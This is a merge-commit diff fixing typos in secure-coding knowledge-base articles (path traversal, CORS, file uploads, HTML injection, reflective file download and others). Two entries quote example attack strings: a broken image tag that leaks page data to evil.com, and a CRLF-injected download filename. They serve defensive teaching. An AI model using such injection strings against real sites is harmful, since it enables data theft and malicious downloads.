Merge pull request #88 from mathias-nyman/fix_typos_in_knowledgebase

Fix typos in knowledge base

skf/markdown/knowledge_base/1-knowledge_base--Filename_injection_Path_traversel--.md

@@ -1,5 +1,5 @@
 
-Filename Injection / Path Traversel 
+Filename Injection / Path Traversal 
 -------
 
 **Description:**
@@ -29,4 +29,4 @@ attack surface for malicious users to manipulate the path.
 
 
 
-
+

skf/markdown/knowledge_base/104-knowledge_base--Content_type_headers--.md

@@ -4,7 +4,7 @@ Content type headers
 
 **Description:**
 
-Setting the right content headers is importent for hardening your applications security,
+Setting the right content headers is important for hardening your applications security,
 this reduces exposure to drive-by download attacks or sites serving user uploaded 
 content that, by clever naming could be treated by MS Internet Explorer as executable or 
 dynamic HTML files and thus can lead to security vulnerabilities.

skf/markdown/knowledge_base/105-knowledge_base--Malicious_intent--.md

@@ -14,7 +14,7 @@ Also verify, that third party components come from trusted repositories.
 **Solution:**
 
 Running your code through a static code analyser or auditing tools could give you a change 
-to find malicious peaces of code which could be embedded into the software. 
+to find malicious pieces of code which could be embedded into the software. 
 Also if the new or adjusted functionality is critical then check manually it in the form 
 of a code review for back doors, Easter eggs, and logic flaws.
 

skf/markdown/knowledge_base/106-knowledge_base--Sandboxing--.md

@@ -15,7 +15,7 @@ an extra layer of security where an attacker first need to break out from.
 Use the sandbox attribute of an iframe for untrusted content. The sandbox attribute of an 
 iframe enables restrictions on content within a iframe. The following restrictions are 
 
-active when the sandbox attribute is set: 
+Active when the sandbox attribute is set: 
 
 - All markup is treated as being from a unique origin
 - All forms and scripts are disabled. 

skf/markdown/knowledge_base/108-knowledge_base--Server_side_validation--.md

@@ -17,7 +17,7 @@ is to process this data server-side and validate the data to see if it returns e
 values. If not these failures should be logged.
 
 Also important to always verify that the same access control rules implied by the presentation layer 
-are enforced on the serverside.
+are enforced on the server-side.
 
 Recommended knowledge base items:
 

skf/markdown/knowledge_base/112-knowledge_base--Cross_origin_resource_sharing--.md

@@ -38,7 +38,7 @@ Use the Access-Control-Allow-Origin header only on chosen URLs that need to be
 accessed cross-domain. Don't use the header for the whole domain.
 
 3. Allow only selected, trusted domains in the Access-Control-Allow-Origin header. 
-Prefer whitelisting domains over blacklisting or allowing any domain 
+Prefer white-listing domains over blacklisting or allowing any domain 
 (do not use * wildcard nor blindly return the Origin header content without any checks)
 
 4. Keep in mind that CORS does not prevent the requested data from going to an

skf/markdown/knowledge_base/113-knowledge_base--Prevent_password_leaking--.md

@@ -19,7 +19,7 @@ set input field type to password.
 
 Set autocomplete=off for the password input field. 
 This turns off the auto complete and remember password features of the browser.
-**NOTE:** for some browsers this means you have to put al the input fields the form contains
+**NOTE:** for some browsers this means you have to put all the input fields the form contains
 to autocomplete=off, otherwise it will not comply.
 
 Also whenever a user has the opportunity to use password forget functions

skf/markdown/knowledge_base/114-knowledge_base--All_authentication_controls_must_fail_securely--.md

@@ -15,7 +15,7 @@ from a security mechanism:
 3. exception
 
 In general, you should design your security mechanism so that a failure will follow the same execution path
-as disabeling the operation
+as disabling the operation
 
 **Solution:**
 

skf/markdown/knowledge_base/117-knowledge_base--Canonicalized_user_input--.md

@@ -10,5 +10,5 @@ misses a malicious input which could execute into a successful attack on your ap
 
 **Solution:**
 
-All userinput should be validated whenever the user-input string is complete and is being 
+All user-input should be validated whenever the user-input string is complete and is being 
 processed by your application.

skf/markdown/knowledge_base/125-knowledge_base--Aggregate_user_requests--.md

@@ -4,7 +4,7 @@ Aggregate user requests
 
 **Description:**
 
-verify the system can protect against aggregation or continuous access to functions,  
+Verify the system can protect against aggregation or continuous access to functions,  
 resources, or data. For example, possibly by the use of a resource governor to limit the 
 number of edits per minute in order to to prevent an automatic attack
 
@@ -18,4 +18,4 @@ the average user should not be able to access more than 5 records per hour or 30
 per day, or add 10 friends to a social network per minute.
 
 
-
+

skf/markdown/knowledge_base/13-knowledge_base--File_upload_injections--.md

@@ -30,15 +30,15 @@ Uploaded files always needs to be placed outside the document root of the web-se
 You should also check the user-input(filename) for having the right 
 allowed extensions such as .jpg, .png etc.
 
-note: when checking these extensions always make sure your application validates the last
+Note: when checking these extensions always make sure your application validates the last
 possible extension so an attacker could not simply inject ".jpg.php" and bypass your
 validation
 
 After this validation you must also check the user-input(filename) for containing possible 
 path traversal patterns in order to prevent him from uploading outside of 
 the intended directory.
 
-Most developers also do a mime-type check. this is a good protection however not 
+Most developers also do a mime-type check. This is a good protection however not 
 whenever you are checking this mime-type through the post request. This header can not be
 trusted since it can be easily manipulated by an attacker. 
 
@@ -50,6 +50,6 @@ You may also want to check if the filenames do already exist before uploading in
 prevent the overwriting of files.
 
 Also for serving the files back there needs to be a file handler function that can select 
-the file based on an identifier that wil serve the file back towards the user.
+the file based on an identifier that will serve the file back towards the user.
 
 

skf/markdown/knowledge_base/134-knowledge_base--Distinguish_log-fields_from_trusted_and_untrusted_sources--.md

@@ -12,7 +12,7 @@ untrusted log fields in your log entries your logs become clearer and more trans
 
 Verify that log fields from trusted and untrusted sources are distinguishable in 
 log entries. If possible it is highly recommended that you separate these files 
-entirely from each other so the logs with untrusted userinput cannot corrupt the
+entirely from each other so the logs with untrusted user-input cannot corrupt the
 system generated logs.
 
 Recommended knowledge base items:

skf/markdown/knowledge_base/144-knowledge_base--Data_from_untrusted_sources--.md

@@ -5,7 +5,7 @@ Data from untrusted sources
 **Description:**
 
 Whenever data from untrusted servers is executed by your application there is a high 
-probability this data could be contaminated with malicious code. such as for example 
+probability this data could be contaminated with malicious code. Such as for example 
 XSS from JSON files, or XXE when parsing XML files. 
 
 
@@ -18,4 +18,4 @@ NOTE: Sandboxing however does not stop an XXE attack. So it is highly recommende
 also encode or escape all data entering your application from third party sources.
 
 
-
+

skf/markdown/knowledge_base/145-knowledge_base--User_restriction_for_sensitive_data--.md

@@ -4,7 +4,7 @@ User restriction for sensitive data
 
 **Description:**
 
-Aways enforce multiple layers of security whenever you want to protect sensitive data/files 
+Always enforce multiple layers of security whenever you want to protect sensitive data/files 
 on your application. If one layer should fail the other layers should prevent the attackers 
 from succeeding.
 
@@ -20,4 +20,4 @@ Recommended knowledge base item:
 
 - Missing authentication or authorisation
 - Sanitise sensitive data rapidly from memory
-
+

skf/markdown/knowledge_base/149-knowledge_base--cryptographic_modules_must_fail_securely--.md

@@ -1,5 +1,5 @@
 
-cryptographic modules must fail securely
+Cryptographic modules must fail securely
 -------
 
 **Description:**
@@ -13,4 +13,4 @@ error state so it's not useable anymore.
 We recommend using the NIST standard on testing the cryptographic module making it perform 
 the self-tests to see if it fails securely.
 
-
+

skf/markdown/knowledge_base/151-knowledge_base--Enforce_policys_for_sensitive_data_processing--.md

@@ -1,10 +1,10 @@
 
-Enforce policys for sensitive data processing
+Enforce policies for sensitive data processing
 -------
 
 **Description:**
 
-When you proces data you should always enforce policies for the transfer of sensitive data 
+When you process data you should always enforce policies for the transfer of sensitive data 
 in order to enforce higher level of security imposing structured thresholds to 
 fend of attackers.
 
@@ -22,10 +22,10 @@ Also, determine whenever data storage is necessary or becomes a redundancy.
 Whenever sensitive data does not have to be stored don't store it. This reduces the
 quantity of data may your application ever be compromised.
 
-Ultimatly, verify accessing sensitive data is logged, if the data is collected under 
+Ultimately, verify accessing sensitive data is logged, if the data is collected under 
 relevant data protection directives or where logging of accesses is required.  
 
-sensitive data or primary keys, such as personally identifiable information or credit 
+Sensitive data or primary keys, such as personally identifiable information or credit 
 cards should also be anonymized, masked or truncated on the server before transmission 
 to the client. 
-
+

skf/markdown/knowledge_base/152-knowledge_base--Access_control_pattern--.md

@@ -11,7 +11,7 @@ consideration before you start developing this type of functionality.
 
 **Solution:**
 
-It is highly recommended to study al the listed items and implement these principles in 
+It is highly recommended to study all the listed items and implement these principles in 
 your access control/login system in order to enforce a higher level of security.
 
 1. Audit logs

skf/markdown/knowledge_base/154-knowledge_base--Sessions_pattern--.md

@@ -6,7 +6,7 @@ Sessions - pattern
 
 When working with sessions there are a couple of things you need to consider in order
 to implement them securely throughout your system. For more detailed information about
-these items you should check te knowledge-base about:
+these items you should check the knowledge-base about:
 
 1.  Session management control
 2.  Session cookies without the Secure flag

skf/markdown/knowledge_base/155-knowledge_base--Submit_forms_pattern--.md

@@ -34,4 +34,4 @@ order to ensure higher level of security.
 
 Fourth, Whenever the application is sending sensitive data through the form submit
 this data must always be send through an POST variable instead of an GET since
-a GET will leak this data through the url by example the referer header.
+a GET will leak this data through the url by example the referrer header.

skf/markdown/knowledge_base/157-knowledge_base--User_registration_pattern--.md

@@ -27,7 +27,7 @@ Here are the steps described briefly.
 For more detailed information you should look into these items in the knowledge base.
 
 First, You enforce limits on the length of the users submits on the server side in order
-to prevent him from truncating his submits. these limits have to correlate with the limits
+to prevent him from truncating his submits. These limits have to correlate with the limits
 you set in your column in the database.
 
 Second, you should create a single user input validation control class which should 

skf/markdown/knowledge_base/159-knowledge_base--HTML_injections--.md

@@ -25,9 +25,9 @@ or encode user data before you display it on screen as HTML.
 2.Image tag injection occurs whenever an attacker injects a broken image tag with a non terminated
 parameter like : "img src='http://evil.com?steal.php?value=
 Every content after value= parameter will now be stolen and send to evil.com by the attacker 
-till the injection finds the next occurence of a matching single quote.
+till the injection finds the next occurrence of a matching single quote.
 
-Again you should sanitise and encode the userinput to prevent an image tag from being injected
+Again you should sanitise and encode the user-input to prevent an image tag from being injected
 in your application. For whenever a user is permitted to submit an image on your application
 enforce and verify the application accepts valid non-broken tags only.
 
@@ -38,13 +38,13 @@ properly encoding and sanitising your user-inputs.
 4.Whenever an attacker injects a "base" tag into your application it can steal data because
 the <base> tag specifies the base URL/target to where to process his data to.
 
-The solution to base jumping would be to us absolut paths in your application such as:
+The solution to base jumping would be to us absolute paths in your application such as:
 action='/update_profile.php'
 
 instead of:
 action='update_profile.php'
 
-5/6. can both also easily be prevented simply be encoding or sanitising your userinput
+5/6 can both also easily be prevented simply be encoding or sanitising your user-input
 submitted towards your application.
 
 Always validate your user-input on a high level(server side constraint). Whenever your 

skf/markdown/knowledge_base/160-knowledge_base--RFD_and_file_download_injections--.md

@@ -5,17 +5,17 @@ Reflective file download and File download injections
 **Description:**
 
 Reflective file download occurs whenever an attacker can "forge" a download through
-misconfigurations in your "disposition" and "content type" headers. Instead of having
+misconfiguration in your "disposition" and "content type" headers. Instead of having
 the attacker to upload a evil file to the webserver he can now force the browser to 
 download a malicious file by abusing these headers and setting the file extension to any 
 type he wants.
 
-Now, whenever there is also userinput being reflected back into that download it can be 
-used to forge evil attacks. the attacker can present an evil file to ignorant vicim's who 
+Now, whenever there is also user-input being reflected back into that download it can be 
+used to forge evil attacks. The attacker can present an evil file to ignorant victim's who 
 are trusting the domain of which the download was presented from. 
 
 File download injection is a similar type of attack except this attack is made possible
-whenever there is userinput that is reflected into the "filename=" paramater in the 
+whenever there is user-input that is reflected into the "filename=" parameter in the 
 "disposition" header. The attacker again can force the browser to download a file with his
 own choice of extension and set the content of this file by injecting this directly
 into the response like: filename=evil.bat%0A%0D%0A%0DinsertEvilStringHere
@@ -25,19 +25,19 @@ the targets device.
 
 **Solution:**
 
-First of al never use userinput directly into your headers since an attacker can now
+First of all never use user-input directly into your headers since an attacker can now
 take control over it. 
 
 Secondly you should check if a filename really does exist before 
-presenting it towards the users. You could also create a whitelist of al files which
+presenting it towards the users. You could also create a whitelist of all files which
 are allowed to be downloaded and terminate requests whenever they do not match.
 
 Also you should disable the use of "path parameters". It increases the attackers attack 
 vector and these parameters also cause a lot of other vulnerabilities.
 
-And last you should sanitise and encode al your userinput as much as possible.
-reflective file downloads depends on user-input being reflected in the response header.
-Whenever this input has been sanitised and encoded it should not do any harm to any 
+And last you should sanitize and encode all your user-input as much as possible.
+Reflective file downloads depends on user-input being reflected in the response header.
+Whenever this input has been sanitized and encoded it should not do any harm to any 
 system it is being executed on.
 
 

skf/markdown/knowledge_base/161-knowledge_base--identify_all_application_components--.md

@@ -6,7 +6,7 @@ Identify all application components
 When you are building an application you first want to map where you are placing 
 source files, libraries and executables.
 
-With these components identified and mapped, it becomes transparant where possible 
+With these components identified and mapped, it becomes transparent where possible 
 pitfalls might be in your application and increases the maintainability of the 
 system. Also you have an indicator where possible reinforcements have to be
 implemented to avoid attacks.(i.e places where your application contains executable's)

skf/markdown/knowledge_base/162-knowledge_base--identify_external_dependencies--.md

@@ -11,8 +11,8 @@ attacks.
 
 **Solution:**
 
-First you must identify which external dependencies your application relys on 
-for its operation. second, there should be a fail safe implemented should this dependency ever
+First you must identify which external dependencies your application relays on 
+for its operation. Second, there should be a fail safe implemented should this dependency ever
 fail to deliver its services towards your application. 
 
 

skf/markdown/knowledge_base/163-knowledge_base--High_level_architecture_should_be_defined--.md

@@ -5,7 +5,7 @@ High level architecture should be defined.
 
 Whenever you are developing an application you want to map all the architecture
 it contains. Whenever there are breaches, updates, or other escalations it makes it
-easy and transparant for forensics, operators and developers to do their job as fast as 
+easy and transparent for forensics, operators and developers to do their job as fast as 
 possible. 
 
 

skf/markdown/knowledge_base/164-knowledge_base--Threat_modeling--.md

@@ -14,9 +14,9 @@ assessing application threats and vulnerabilities.
 
 Threat modeling is best applied continuously throughout a software development project. 
 The process is essentially the same at different levels of abstraction, although the 
-information gets more and more granular throughout the lifecycle. Ideally, a high-level 
+information gets more and more granular throughout the life-cycle. Ideally, a high-level 
 threat model should be defined in the concept or planning phase, and then refined 
-throughout the lifecycle. As more details are added to the system, new attack vectors are 
+throughout the life-cycle. As more details are added to the system, new attack vectors are 
 created and exposed. The ongoing threat modeling process should examine, diagnose, and 
 address these threats.
 

skf/markdown/knowledge_base/166-knowledge_base--Client_side_validation--.md

@@ -18,7 +18,7 @@ an XSS attack through no fault of the server-side code.
 **Solution:**
 
 First there must be a client side input validation method as you would apply to the server
-side. This means you should also apply input rejection as wel as typecasting and such.
+side. This means you should also apply input rejection as well as typecasting and such.
 This is to prevent users from being attacked by XSS attacks which are undetectable by
 the server.